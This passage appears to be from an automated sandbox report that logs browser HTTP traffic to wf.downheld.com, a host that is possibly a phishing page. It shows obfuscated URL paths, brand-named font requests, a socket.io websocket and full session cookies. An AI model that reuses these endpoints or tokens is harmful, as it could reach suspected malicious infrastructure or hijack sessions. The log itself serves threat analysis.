Source: global traffic	HTTP traffic detected: GET /zc2AljwebT7zdwRenVMaRIG4d6MJrAZHUulfMY4TnVcqcXXbClfq HTTP/1.1Host: wf.downheld.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjgzdVhuUGcwTFIrOStRNVNJNlYySUE9PSIsInZhbHVlIjoiR05BS2F6eDR1MklaSnVwSDA4dFo3emp0cDNBajc0aktjVm52M1RTRUdCN01CRE5NWkFlUUZnZUNaUnVHNHpnd0krMVhyOVFjMFhvR0hpbkxIZThVRXRyU1Job3FMb1BYM0JOV2N4Yk4wQlh0T3MvTE1PZTByeTFNNEpIZHFsUlQiLCJtYWMiOiI4YmEwOTdlN2QxYWU4YmYxYWZiMjUwMWUwMDZkYzdhZTRmMTVjMmQ0YzU4OGRiYzU5YzI4NTM3NWFkZjU5MGM1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImgwdVk3UWpRby9BYm0zUkFiVXlmYkE9PSIsInZhbHVlIjoiMk9aVkxyWUFXOUNRV3JKZndHWWFxQjQwK2dvTUE5aHBVbDB6Tk1Ld1ZCcVFZanFkc3hIVUtNcDhUb2xTbkJGdm1iL3VCUmQ0dnROTDZrTDRFSFNvandRWHVmNHRoTlBpQ1hqaCtYQ2RBbnBUSTdoZGc4U2QrYUNMdmtNTi9DbysiLCJtYWMiOiJjYzhkNzU5MTcyMjNiZTRmZTY3OWMwZGMzZjA1MThlZDg4NGNlYTk2ZmIwMDVjNWZlMTA4ZWYzN2VjZTE0M2I1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNV HTTP/1.1Host: wf.downheld.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://wf.downheld.com/Te2y0P/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjgzdVhuUGcwTFIrOStRNVNJNlYySUE9PSIsInZhbHVlIjoiR05BS2F6eDR1MklaSnVwSDA4dFo3emp0cDNBajc0aktjVm52M1RTRUdCN01CRE5NWkFlUUZnZUNaUnVHNHpnd0krMVhyOVFjMFhvR0hpbkxIZThVRXRyU1Job3FMb1BYM0JOV2N4Yk4wQlh0T3MvTE1PZTByeTFNNEpIZHFsUlQiLCJtYWMiOiI4YmEwOTdlN2QxYWU4YmYxYWZiMjUwMWUwMDZkYzdhZTRmMTVjMmQ0YzU4OGRiYzU5YzI4NTM3NWFkZjU5MGM1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImgwdVk3UWpRby9BYm0zUkFiVXlmYkE9PSIsInZhbHVlIjoiMk9aVkxyWUFXOUNRV3JKZndHWWFxQjQwK2dvTUE5aHBVbDB6Tk1Ld1ZCcVFZanFkc3hIVUtNcDhUb2xTbkJGdm1iL3VCUmQ0dnROTDZrTDRFSFNvandRWHVmNHRoTlBpQ1hqaCtYQ2RBbnBUSTdoZGc4U2QrYUNMdmtNTi9DbysiLCJtYWMiOiJjYzhkNzU5MTcyMjNiZTRmZTY3OWMwZGMzZjA1MThlZDg4NGNlYTk2ZmIwMDVjNWZlMTA4ZWYzN2VjZTE0M2I1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ajax/libs/list.js/2.3.1/list.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: wf.downheld.comConnection: keep-aliveOrigin: https://wf.downheld.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNVAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRTSklDeURmbEFjelVoQVpVMkM1dHc9PSIsInZhbHVlIjoiS0hQcFBTdnZBd2xiK0tTU1h3V0FVL1ZFUzFRYzRsb3loZkhiRENCOC9CUnlabWo4ZjZ4Zlo1S1E0UlRTVGZiOWZYdE9OVEpRamhXUGROdU5OdU9LbzZZQW45VGZ3QlNueWk1YnJlZWdBbnIvMHA3ZWQyczBuNEtkN2JiSlFsUHkiLCJtYWMiOiI3YjAyY2VkNmJmN2NlYTMyOWY4NzgxZmYyMTViNWEzY2ZjNTJkNjY5NjA5NjI3OTQwNGUwZWRiMzFkYjAzODYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkpMM0lKWW9FVUdORlZydXlMUU1kUFE9PSIsInZhbHVlIjoiMWhOSXA5aVUvMlpvUHV4Skxia0NMNnA3Rk9TUGJ3dmVUZDlNckkxRXdmQ0s3NS9hZ1A2RnkrYmthUDFHYkNWWnNjeitXNkFZaVcvR2x2b2JqTXdIQUk0VjhzU2R1ZjhpTGN2NXVtNjJYNEIvV1dObFpIOEExOWZrN3ZvNTJUeE0iLCJtYWMiOiJmZGYxNGU3ODFkYzA3YzU5MDQxMGU2YjE5ZDc5ODVhZWVkMDA0YThiZjg1ZTE3ZTdhNzRlZTM4ODZkZGM0MWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yzEcKqq2fVsfucOrq5U7luDZbwqPCfEAIBoQOx6IJo8StObFngC90qnasBNUB5nO6WTJ90rxkgyzHL2SEeKJYlGR2oZt7zVij520 HTTP/1.1Host: wf.downheld.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNVAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRTSklDeURmbEFjelVoQVpVMkM1dHc9PSIsInZhbHVlIjoiS0hQcFBTdnZBd2xiK0tTU1h3V0FVL1ZFUzFRYzRsb3loZkhiRENCOC9CUnlabWo4ZjZ4Zlo1S1E0UlRTVGZiOWZYdE9OVEpRamhXUGROdU5OdU9LbzZZQW45VGZ3QlNueWk1YnJlZWdBbnIvMHA3ZWQyczBuNEtkN2JiSlFsUHkiLCJtYWMiOiI3YjAyY2VkNmJmN2NlYTMyOWY4NzgxZmYyMTViNWEzY2ZjNTJkNjY5NjA5NjI3OTQwNGUwZWRiMzFkYjAzODYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkpMM0lKWW9FVUdORlZydXlMUU1kUFE9PSIsInZhbHVlIjoiMWhOSXA5aVUvMlpvUHV4Skxia0NMNnA3Rk9TUGJ3dmVUZDlNckkxRXdmQ0s3NS9hZ1A2RnkrYmthUDFHYkNWWnNjeitXNkFZaVcvR2x2b2JqTXdIQUk0VjhzU2R1ZjhpTGN2NXVtNjJYNEIvV1dObFpIOEExOWZrN3ZvNTJUeE0iLCJtYWMiOiJmZGYxNGU3ODFkYzA3YzU5MDQxMGU2YjE5ZDc5ODVhZWVkMDA0YThiZjg1ZTE3ZTdhNzRlZTM4ODZkZGM0MWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: wf.downheld.comConnection: keep-aliveOrigin: https://wf.downheld.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNVAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRTSklDeURmbEFjelVoQVpVMkM1dHc9PSIsInZhbHVlIjoiS0hQcFBTdnZBd2xiK0tTU1h3V0FVL1ZFUzFRYzRsb3loZkhiRENCOC9CUnlabWo4ZjZ4Zlo1S1E0UlRTVGZiOWZYdE9OVEpRamhXUGROdU5OdU9LbzZZQW45VGZ3QlNueWk1YnJlZWdBbnIvMHA3ZWQyczBuNEtkN2JiSlFsUHkiLCJtYWMiOiI3YjAyY2VkNmJmN2NlYTMyOWY4NzgxZmYyMTViNWEzY2ZjNTJkNjY5NjA5NjI3OTQwNGUwZWRiMzFkYjAzODYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkpMM0lKWW9FVUdORlZydXlMUU1kUFE9PSIsInZhbHVlIjoiMWhOSXA5aVUvMlpvUHV4Skxia0NMNnA3Rk9TUGJ3dmVUZDlNckkxRXdmQ0s3NS9hZ1A2RnkrYmthUDFHYkNWWnNjeitXNkFZaVcvR2x2b2JqTXdIQUk0VjhzU2R1ZjhpTGN2NXVtNjJYNEIvV1dObFpIOEExOWZrN3ZvNTJUeE0iLCJtYWMiOiJmZGYxNGU3ODFkYzA3YzU5MDQxMGU2YjE5ZDc5ODVhZWVkMDA0YThiZjg1ZTE3ZTdhNzRlZTM4ODZkZGM0MWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: wf.downheld.comConnection: keep-aliveOrigin: https://wf.downheld.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNVAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRTSklDeURmbEFjelVoQVpVMkM1dHc9PSIsInZhbHVlIjoiS0hQcFBTdnZBd2xiK0tTU1h3V0FVL1ZFUzFRYzRsb3loZkhiRENCOC9CUnlabWo4ZjZ4Zlo1S1E0UlRTVGZiOWZYdE9OVEpRamhXUGROdU5OdU9LbzZZQW45VGZ3QlNueWk1YnJlZWdBbnIvMHA3ZWQyczBuNEtkN2JiSlFsUHkiLCJtYWMiOiI3YjAyY2VkNmJmN2NlYTMyOWY4NzgxZmYyMTViNWEzY2ZjNTJkNjY5NjA5NjI3OTQwNGUwZWRiMzFkYjAzODYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkpMM0lKWW9FVUdORlZydXlMUU1kUFE9PSIsInZhbHVlIjoiMWhOSXA5aVUvMlpvUHV4Skxia0NMNnA3Rk9TUGJ3dmVUZDlNckkxRXdmQ0s3NS9hZ1A2RnkrYmthUDFHYkNWWnNjeitXNkFZaVcvR2x2b2JqTXdIQUk0VjhzU2R1ZjhpTGN2NXVtNjJYNEIvV1dObFpIOEExOWZrN3ZvNTJUeE0iLCJtYWMiOiJmZGYxNGU3ODFkYzA3YzU5MDQxMGU2YjE5ZDc5ODVhZWVkMDA0YThiZjg1ZTE3ZTdhNzRlZTM4ODZkZGM0MWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: wf.downheld.comConnection: keep-aliveOrigin: https://wf.downheld.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNVAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRTSklDeURmbEFjelVoQVpVMkM1dHc9PSIsInZhbHVlIjoiS0hQcFBTdnZBd2xiK0tTU1h3V0FVL1ZFUzFRYzRsb3loZkhiRENCOC9CUnlabWo4ZjZ4Zlo1S1E0UlRTVGZiOWZYdE9OVEpRamhXUGROdU5OdU9LbzZZQW45VGZ3QlNueWk1YnJlZWdBbnIvMHA3ZWQyczBuNEtkN2JiSlFsUHkiLCJtYWMiOiI3YjAyY2VkNmJmN2NlYTMyOWY4NzgxZmYyMTViNWEzY2ZjNTJkNjY5NjA5NjI3OTQwNGUwZWRiMzFkYjAzODYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkpMM0lKWW9FVUdORlZydXlMUU1kUFE9PSIsInZhbHVlIjoiMWhOSXA5aVUvMlpvUHV4Skxia0NMNnA3Rk9TUGJ3dmVUZDlNckkxRXdmQ0s3NS9hZ1A2RnkrYmthUDFHYkNWWnNjeitXNkFZaVcvR2x2b2JqTXdIQUk0VjhzU2R1ZjhpTGN2NXVtNjJYNEIvV1dObFpIOEExOWZrN3ZvNTJUeE0iLCJtYWMiOiJmZGYxNGU3ODFkYzA3YzU5MDQxMGU2YjE5ZDc5ODVhZWVkMDA0YThiZjg1ZTE3ZTdhNzRlZTM4ODZkZGM0MWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: wf.downheld.comConnection: keep-aliveOrigin: https://wf.downheld.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNVAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRTSklDeURmbEFjelVoQVpVMkM1dHc9PSIsInZhbHVlIjoiS0hQcFBTdnZBd2xiK0tTU1h3V0FVL1ZFUzFRYzRsb3loZkhiRENCOC9CUnlabWo4ZjZ4Zlo1S1E0UlRTVGZiOWZYdE9OVEpRamhXUGROdU5OdU9LbzZZQW45VGZ3QlNueWk1YnJlZWdBbnIvMHA3ZWQyczBuNEtkN2JiSlFsUHkiLCJtYWMiOiI3YjAyY2VkNmJmN2NlYTMyOWY4NzgxZmYyMTViNWEzY2ZjNTJkNjY5NjA5NjI3OTQwNGUwZWRiMzFkYjAzODYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkpMM0lKWW9FVUdORlZydXlMUU1kUFE9PSIsInZhbHVlIjoiMWhOSXA5aVUvMlpvUHV4Skxia0NMNnA3Rk9TUGJ3dmVUZDlNckkxRXdmQ0s3NS9hZ1A2RnkrYmthUDFHYkNWWnNjeitXNkFZaVcvR2x2b2JqTXdIQUk0VjhzU2R1ZjhpTGN2NXVtNjJYNEIvV1dObFpIOEExOWZrN3ZvNTJUeE0iLCJtYWMiOiJmZGYxNGU3ODFkYzA3YzU5MDQxMGU2YjE5ZDc5ODVhZWVkMDA0YThiZjg1ZTE3ZTdhNzRlZTM4ODZkZGM0MWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: wf.downheld.comConnection: keep-aliveOrigin: https://wf.downheld.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNVAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRTSklDeURmbEFjelVoQVpVMkM1dHc9PSIsInZhbHVlIjoiS0hQcFBTdnZBd2xiK0tTU1h3V0FVL1ZFUzFRYzRsb3loZkhiRENCOC9CUnlabWo4ZjZ4Zlo1S1E0UlRTVGZiOWZYdE9OVEpRamhXUGROdU5OdU9LbzZZQW45VGZ3QlNueWk1YnJlZWdBbnIvMHA3ZWQyczBuNEtkN2JiSlFsUHkiLCJtYWMiOiI3YjAyY2VkNmJmN2NlYTMyOWY4NzgxZmYyMTViNWEzY2ZjNTJkNjY5NjA5NjI3OTQwNGUwZWRiMzFkYjAzODYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkpMM0lKWW9FVUdORlZydXlMUU1kUFE9PSIsInZhbHVlIjoiMWhOSXA5aVUvMlpvUHV4Skxia0NMNnA3Rk9TUGJ3dmVUZDlNckkxRXdmQ0s3NS9hZ1A2RnkrYmthUDFHYkNWWnNjeitXNkFZaVcvR2x2b2JqTXdIQUk0VjhzU2R1ZjhpTGN2NXVtNjJYNEIvV1dObFpIOEExOWZrN3ZvNTJUeE0iLCJtYWMiOiJmZGYxNGU3ODFkYzA3YzU5MDQxMGU2YjE5ZDc5ODVhZWVkMDA0YThiZjg1ZTE3ZTdhNzRlZTM4ODZkZGM0MWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /4.6.0/socket.io.min.js HTTP/1.1Host: cdn.socket.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsWcpck21SgGMI0eamabrXMacXmL3EkJOPRjdLlkoKmEvCDmFyaz7zyzSgLno8nxBBP1wDO3mfvRfXD6f0ZwF9oFufRE8fB9lqUzX1CVFu2cd510 HTTP/1.1Host: wf.downheld.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNVAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRTSklDeURmbEFjelVoQVpVMkM1dHc9PSIsInZhbHVlIjoiS0hQcFBTdnZBd2xiK0tTU1h3V0FVL1ZFUzFRYzRsb3loZkhiRENCOC9CUnlabWo4ZjZ4Zlo1S1E0UlRTVGZiOWZYdE9OVEpRamhXUGROdU5OdU9LbzZZQW45VGZ3QlNueWk1YnJlZWdBbnIvMHA3ZWQyczBuNEtkN2JiSlFsUHkiLCJtYWMiOiI3YjAyY2VkNmJmN2NlYTMyOWY4NzgxZmYyMTViNWEzY2ZjNTJkNjY5NjA5NjI3OTQwNGUwZWRiMzFkYjAzODYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkpMM0lKWW9FVUdORlZydXlMUU1kUFE9PSIsInZhbHVlIjoiMWhOSXA5aVUvMlpvUHV4Skxia0NMNnA3Rk9TUGJ3dmVUZDlNckkxRXdmQ0s3NS9hZ1A2RnkrYmthUDFHYkNWWnNjeitXNkFZaVcvR2x2b2JqTXdIQUk0VjhzU2R1ZjhpTGN2NXVtNjJYNEIvV1dObFpIOEExOWZrN3ZvNTJUeE0iLCJtYWMiOiJmZGYxNGU3ODFkYzA3YzU5MDQxMGU2YjE5ZDc5ODVhZWVkMDA0YThiZjg1ZTE3ZTdhNzRlZTM4ODZkZGM0MWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GoogleSans-Regular.woff2 HTTP/1.1Host: wf.downheld.comConnection: keep-aliveOrigin: https://wf.downheld.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNVAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRTSklDeURmbEFjelVoQVpVMkM1dHc9PSIsInZhbHVlIjoiS0hQcFBTdnZBd2xiK0tTU1h3V0FVL1ZFUzFRYzRsb3loZkhiRENCOC9CUnlabWo4ZjZ4Zlo1S1E0UlRTVGZiOWZYdE9OVEpRamhXUGROdU5OdU9LbzZZQW45VGZ3QlNueWk1YnJlZWdBbnIvMHA3ZWQyczBuNEtkN2JiSlFsUHkiLCJtYWMiOiI3YjAyY2VkNmJmN2NlYTMyOWY4NzgxZmYyMTViNWEzY2ZjNTJkNjY5NjA5NjI3OTQwNGUwZWRiMzFkYjAzODYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkpMM0lKWW9FVUdORlZydXlMUU1kUFE9PSIsInZhbHVlIjoiMWhOSXA5aVUvMlpvUHV4Skxia0NMNnA3Rk9TUGJ3dmVUZDlNckkxRXdmQ0s3NS9hZ1A2RnkrYmthUDFHYkNWWnNjeitXNkFZaVcvR2x2b2JqTXdIQUk0VjhzU2R1ZjhpTGN2NXVtNjJYNEIvV1dObFpIOEExOWZrN3ZvNTJUeE0iLCJtYWMiOiJmZGYxNGU3ODFkYzA3YzU5MDQxMGU2YjE5ZDc5ODVhZWVkMDA0YThiZjg1ZTE3ZTdhNzRlZTM4ODZkZGM0MWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /web7socket/socket.io/?type=User&appnum=2&EIO=4&transport=websocket HTTP/1.1Host: wf.downheld.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://wf.downheld.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRTSklDeURmbEFjelVoQVpVMkM1dHc9PSIsInZhbHVlIjoiS0hQcFBTdnZBd2xiK0tTU1h3V0FVL1ZFUzFRYzRsb3loZkhiRENCOC9CUnlabWo4ZjZ4Zlo1S1E0UlRTVGZiOWZYdE9OVEpRamhXUGROdU5OdU9LbzZZQW45VGZ3QlNueWk1YnJlZWdBbnIvMHA3ZWQyczBuNEtkN2JiSlFsUHkiLCJtYWMiOiI3YjAyY2VkNmJmN2NlYTMyOWY4NzgxZmYyMTViNWEzY2ZjNTJkNjY5NjA5NjI3OTQwNGUwZWRiMzFkYjAzODYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkpMM0lKWW9FVUdORlZydXlMUU1kUFE9PSIsInZhbHVlIjoiMWhOSXA5aVUvMlpvUHV4Skxia0NMNnA3Rk9TUGJ3dmVUZDlNckkxRXdmQ0s3NS9hZ1A2RnkrYmthUDFHYkNWWnNjeitXNkFZaVcvR2x2b2JqTXdIQUk0VjhzU2R1ZjhpTGN2NXVtNjJYNEIvV1dObFpIOEExOWZrN3ZvNTJUeE0iLCJtYWMiOiJmZGYxNGU3ODFkYzA3YzU5MDQxMGU2YjE5ZDc5ODVhZWVkMDA0YThiZjg1ZTE3ZTdhNzRlZTM4ODZkZGM0MWIzIiwidGFnIjoiIn0%3DSec-WebSocket-Key: gN8Id8nvwmYFQbpNetiNLA==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /Roboto-Regular.woff2 HTTP/1.1Host: wf.downheld.comConnection: keep-aliveOrigin: https://wf.downheld.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNVAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: 